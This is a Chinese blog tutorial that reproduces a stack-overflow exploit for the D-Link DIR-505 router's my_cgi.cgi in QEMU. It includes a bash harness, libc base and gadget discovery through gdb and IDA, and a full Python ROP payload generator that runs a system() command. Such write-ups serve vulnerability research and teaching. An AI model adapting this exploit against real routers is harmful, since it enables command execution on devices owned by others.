路由器漏洞复现:从原理到第一步验证

栏目: C · 发布时间: 6年前

内容简介:物联网的漏洞复现和传统系统的漏洞复现的不同点在于,物理网漏洞依赖于硬件,几乎每一个漏洞都得买一个新的硬件复现,这不同于传统系统只要下载好正确的对应版本软件即可。因此,在本地的虚拟环境中复现漏洞是一个极其经济的做法。且在正式向实际硬件复现漏洞之前,在本地虚拟环境中复现将有利于调试实际环境中的不可预期问题。本文因此以路由器漏洞D-Link DIR-505为例,介绍如何在本地虚拟机中完成漏洞复现。在《揭秘家用路由器0day漏洞挖掘技术》里面的第12章,介绍了如何挖掘以及利用D-Link DIR-505的漏洞。但

路由器漏洞复现:从原理到第一步验证

前言

物联网的漏洞复现和传统系统的漏洞复现的不同点在于,物理网漏洞依赖于硬件,几乎每一个漏洞都得买一个新的硬件复现,这不同于传统系统只要下载好正确的对应版本软件即可。因此,在本地的虚拟环境中复现漏洞是一个极其经济的做法。且在正式向实际硬件复现漏洞之前,在本地虚拟环境中复现将有利于调试实际环境中的不可预期问题。

本文因此以路由器漏洞D-Link DIR-505为例,介绍如何在本地虚拟机中完成漏洞复现。在《揭秘家用路由器0day漏洞挖掘技术》里面的第12章,介绍了如何挖掘以及利用D-Link DIR-505的漏洞。但是书本里面介绍的方法,如果要在本地的QEMU虚拟机里面执行的话,有问题,因为在使用bash脚本输出执行的时候,会自动过滤掉null 字符,然后一个关键的调用system函数的地址就包含了null字符,因此使得在本地QEMU的验证失败。本文与书本里面的方法不同,利用调用外部库libc.so.0里面的system函数,并且在libc.so.0里面寻找可利用的gadget,来实现在本地QEMU虚拟机环境里面,对于D-Link DIR-505的漏洞利用,无需在实际的设备中测试。如果需要在实际的设备中测试的时候,仅需要改变代入库函数的基地址就可以。

在本文中,我将介绍:1.如何调用从共享库libc.so.0里面调用system函数,2.如何确定共享库libc.so.0的基地址。其中,对于2,我提供了两种方式,其实还有第三种方式,但是我还尚未验证,理论上也是可行的,也将在文后提出来。

下面进入正题。前提是假设读者已经拥有了搭建好的QEMU环境。

1. binwalk 固件提取

首先老规矩,利用binwalk 将下载的Dlink固件提取:

$ binwalk -Me DIR505A1_FW108B07.bin

2. 分析漏洞关键位置

复用书本中对于公布的漏洞细节的分析,可以发现漏洞出现的关键位置,在根目录的/usr/bin/my_cgi.cgi中。且关键输入源是storage_path=xx. 虽然CONTENT_LENGTH对于读取的storage_path的内容长度有所限制,但是对于CONTENT_LENGTH的数值没有限制,导致了实际上任意长度的字符串内容都可以被读取,导致了栈溢出的漏洞。详细的分析可以参考书中的第12章,这里不再赘述。

3. 分析RA偏移

接下来就是分析能够对于函数返回寄存器RA产生溢出的偏移地址位置。使用书本提供的patternLocOffset.py脚本生成字符串匹配脚本,来计算偏移。

$ python patternLocOffset.py c l 600 f dir505test
[*] Create pattern string contains 600 characters ok!
[+] output to passwd ok!
[+] take time: 0.0026 s

4. QEMU运行漏洞程序

接着使用如下脚本来使得my_cgi.cgi在QEMU的环境下执行:

# sudo bash my_cgi_test.sh
# INPUT=`python -c "print 'storage_path='+open('dir505test','r').read()"`
INPUT=`python -c "print 'storage_path='+'B'*477450+open('dir505test','r').read()"`
# LEN=$(echo -n "INPUT" | wc -c)
((LEN=477472+0x100))
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "usage: sudo bash my_cgi_test.sh"
    exit 1
fi
cp $(which qemu-mips-static) ./qemu
echo "CONTENT_LENGTH" + $LEN
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="manultipart/form-data" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E REQUEST_URI="/my_cgi.cgi" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null
echo "youtest"
rm -f ./qemu

这里要特别注意的有两点:

一点是,CONTENT_LENGTH最好自己手动指定长度,原始书本里面提供的脚本设置的CONTENT_LENGTH长度是不对的,它显示只是bash脚本参数的个数(一般来说就是3或者5),那这样的话,就始终无法读取到我们之后所有设置的payload内容,这个部分我一直卡住了很久,而书本中也未曾提到这一点,希望各位小伙伴在复现的时候一定注意。所以我们这里设置((LEN=477472+0x100))。 之后LEN会赋值给CONTENT_LENGTH。

另一点,storage_path这里要先覆盖掉整个全局变量的长度,这个部分类似于书本中分析,可以发现memset(entries, 0 , 477450)的477450长度,所以我们设置477450的预先覆盖长度。

5. 运行脚本之后,使用IDA挂载程序,在返回RA处设置断点,查看RA的数据。

路由器漏洞复现:从原理到第一步验证

可以发现覆盖的字符串内容为61374161, 那么我们来查找一下:

$ python patternLocOffset.py -s 0x61374161  -l 700
[*] Create pattern string contains 700 characters ok!
[*] Exact match at offset 22
[+] take time: 0.0012 s

发现是第22个偏移。那么如果想要覆盖到RA的话,前面总共的偏移量为477450+22= 477472 .

6. gadget寻找与利用

按照书本原来的做法,直接找到在my_cgi.cgi里面的一个gadget 地址为0x00405B1C,这个地址是调用system函数的地址,然后在对应的位置覆盖要传入的CMD就可以。但是前面提到过,如果用bash脚本的话,会把null字符过滤掉,导致地址无法正确输入,0x00405B1C中包含了一个null字符0x00. 所以我们下面开始要寻找共享库函数libc.so.0里面的system函数,并且也同时在libc.so.0利用寻找可以利用的gadget来实现system函数调用、传参。

为了完成上述任务,需要完成以下步骤:

A. 寻找libc.so.0的基地址

B. 寻找system函数的位置

C. 寻找libc.so.0里面可以利用gadget

7. 寻找libc.so.0的基地址

本文提供两种方法:利用读取proc文件的方式,和利用gdb调试的方式。

第一种,利用读取proc文件的方式。

在运行了bash脚本,且用IDA挂载之后,运行ps –ef查看对应进程的id

路由器漏洞复现:从原理到第一步验证

接下来运行下面的命令,查看对应库导入的地址范围

$ sudo cat /proc/5006/maps
路由器漏洞复现:从原理到第一步验证

注意,libc.so.0的符号连接就是这个libuClibc-0.9.30.so,这个问题曾经也一直困扰我很久,希望大家一定注意这个点。

因此我们就确定了这个库的基地址是: 0x408c2000

第二种方式,利用gdb调试。

这里使用的是gdb远程调试的方式。

同样的,在运行了bash脚本之后,运行下面的命令进行调试

$gdb my_cgi.cgi 
Type "apropos word" to search for commands related to "word"...
Reading symbols from my_cgi.cgi...(no debugging symbols found)...done.
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x00000000 in ?? ()
(gdb) break *0x00400034
Breakpoints 1 0x00400034
(gdb) set solib-search-path ../../lib
warning: `/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so': Shared library architecture unknown is not compatible with target architecture i386.
warning: `/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so': Shared library architecture unknown is not compatible with target architecture i386.
Reading symbols from /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so...(no debugging symbols found)...done.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00400034 in ?? ()
(gdb) info sharedlibrary
From        To          Syms Read   Shared Object Library
                        Yes (*)     /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so
0x40819910  0x4081cab0  Yes          /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libmidware.so
0x4082f580  0x40836b80  Yes          /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libputil.so
0x4084a9a0  0x4084ce80  Yes          /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libeutil.so
0x4085fb50  0x40860e00  Yes          /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libnvram.so
0x408734d0  0x40874bd0  Yes          /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libmd5.so
                        Yes          /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libgcc_s.so.1
0x408cbf90          0x408ebf90                          Yes          /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.so
(*): Shared library is missing debugging information.

可以发现载入的地址是 0x408cbf90 ,但是这个不是基地址,而是载入了libc.so.0的入口地址,基地址就要减去其入口地址。执行下面的命令:

$ readelf -a libc.so.0 |more
ELF Header:
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x9f90
  Start of program headers:          52 (bytes into file)

最终可以计算得到基地址: 0x408cbf90-0x9f90=0x408c2000 。 和前面得到的是一样的。

第三种方式,利用已经载入的函数地址。

算是思路。即,在动态载入了函数以后,在main函数里面查找调用了libc.so.0里面函数的位置,下断点,找到其已经计算好的函数偏移func_offset, 然后在libc.so.0里面找到该函数的偏移libc_offset, 两者相减就是基地址: base_offset = func_offset – libc_offset。 尚未验证,但是理论上是可行的。

8. 寻找system函数在libc.so.0里面的地址。

这个简单,直接用IDA导入libc.so.0,然后查找即可。

路由器漏洞复现:从原理到第一步验证

因此,在这个例子里面,system函数的地址为: 0x0004BC80 .

9. 寻找libc.so.0里面可以利用gadget

利用IDA脚本 mipsrop.stackfinder(),既可以找到。

路由器漏洞复现:从原理到第一步验证

发现0x 000149AC这个位置的代码段好用。其代码块内容为:

LOAD:000149AC                 addiu   $s5, $sp, 0x170-0x160
LOAD:000149B0                 move    $a1, $s3
LOAD:000149B4                 move    $a2, $s1
LOAD:000149B8                 move    $t9, $s0
LOAD:000149BC                 jalr    $t9 ; mempcpy
LOAD:000149C0                 move    $a0, $s5

因此,只要在sp+0x170-0x160 放入需要执行的命令(比如“ls”),然后在s0填入system函数的地址就可以了。

整个堆栈的payload覆盖示意图如下面所示:

路由器漏洞复现:从原理到第一步验证

关键的位置用灰底色标记出来了。

完整的漏洞利用payload生成脚本为:

#!/usr/bin/env python
import struct
print '[*] prepare shellcode',

cmd = "ls"                 # command string
cmd += "x00"*(4 - (len(cmd) % 4))    # align by 4 bytes

libc = 0x408c2000  
libcSystemaddress = 0x0004BC80
libcSystemCaller = 0x000149AC

#shellcode
paddinglen = 477472 - 36;
shellcode = "A"*paddinglen             # padding buf
shellcode += struct.pack(">L",libc+libcSystemaddress) # s0,
shellcode += "B"*4; # s1,
shellcode += "B"*4; # s2,
shellcode += "B"*4; # s3,
shellcode += "B"*4; # s4,
shellcode += "B"*4 # s5,
shellcode += "B"*4; # s6,
shellcode += "B"*4; # s7,
shellcode += "B"*4; # fp,
shellcode += struct.pack(">L",libc+libcSystemCaller)     #  after fill the RA, then it is the SP stack start.
shellcode += "C"*0x10 # padding for fill the parameter cmd.
shellcode += cmd
shellcode += "0x00"
print ' ok!'

#create password file
print '[+] create password file',
fw = open('dir505test','w')
fw.write(shellcode)
fw.close()
print ' ok!'

10. 执行效果

路由器漏洞复现:从原理到第一步验证

可以发现漏洞在本地的QEMU虚拟机中也被成功的利用了。省去了我们要借助实际路由器的麻烦。

总结

为了能够在QEMU环境中实现漏洞复现的第一步验证,实现一个可靠的ROP chain是有必要的。也许有的读者会说,虽然bash里面会自动把null过滤掉,那么可以寻找方案让bash不过滤掉null不就行了?这个思路治标不治本,因此虽然在某些例子里面,即使payload包含null也ok(比如之前发表过的文章: MIPS缓冲区溢出漏洞实践 ),但是作为一个向着通用漏洞前进的方案,应当是尽可能构造一个无null字符的payload。本文在实践过程中总结了一些可能会遇到的坑,这些坑书本里面没有提到,希望大家能够避免。此外,除了本文提到的方式,还可以通过构造shellcode的方式来避免null byte。Shellcode的构造将在未来介绍。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Learn Python the Hard Way

Learn Python the Hard Way

Zed Shaw / Example Product Manufacturer / 2011

This is a very beginner book for people who want to learn to code. If you can already code then the book will probably drive you insane. It's intended for people who have no coding chops to build up t......一起来看看 《Learn Python the Hard Way》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换